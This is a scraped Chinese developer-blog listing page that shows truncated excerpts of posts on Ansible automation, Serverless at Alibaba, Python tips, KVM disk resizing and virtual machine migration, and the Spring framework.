运维自动化之ansible使用详解(包括常用模块与playbook使用)

什么是ansible? ansible是个什么东西呢?官方的title是“Ansible is Simple IT Automation”——简单的自动化IT运维管理工具。这个工具的目标有这么几项:让我们自动化部署APP;自动化管理配...

linuxzkq
2017/04/30
0
0

没有更多内容

加载失败,请刷新页面

加载更多

首次揭秘:阿里巴巴中间件在 Serverless 技术领域的探索

Serverless 话题涉及范围极广,几乎包含了代码管理、测试、发布、运维和扩容等与应用生命周期关联的所有环节。AWS Lambda 是 Serverless 领域的标志性产品,但如果将其应用于核心业务,可能会...

阿里云官方博客
10分钟前
0
0
Python免踩坑指南

最近我发现GitHub上中文项目越来越多,真实令人欣喜的事情啊。不知道小伙伴们有没有发布自己的GitHub精品项目,觉得自信的可以拿出来,推荐给其他小伙伴哦。 好了,话不多说今天的GitHub精推...

编程资源库
22分钟前
0
0
微信授权域名

https://www.jianshu.com/p/9ce837f20740

Js_Mei
23分钟前
0
0
115.两种格式磁盘扩容、调整内存和cpu、迁移虚拟机

28.12 磁盘扩容(raw) 28.13 磁盘扩容(qcow2) 28.14 调整cpu内存和网卡 28.15 迁移虚拟机 28.12 磁盘扩容(raw) 针对一块已经存在的盘进行增加容量 1.qemu-img resize /kvm_data/aminglinux02...

Axin-linux
24分钟前
0
0
好程序员java分享spring框架精讲

1、什么是Spring框架?Spring框架有哪些主要模块? Spring框架是一个为Java应用程序的开发提供了综合、广泛的基础性支持的Java平台。Spring帮助开发者解决了开发中基础性的问题,使得开发人员...

好程序员IT
32分钟前
0
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部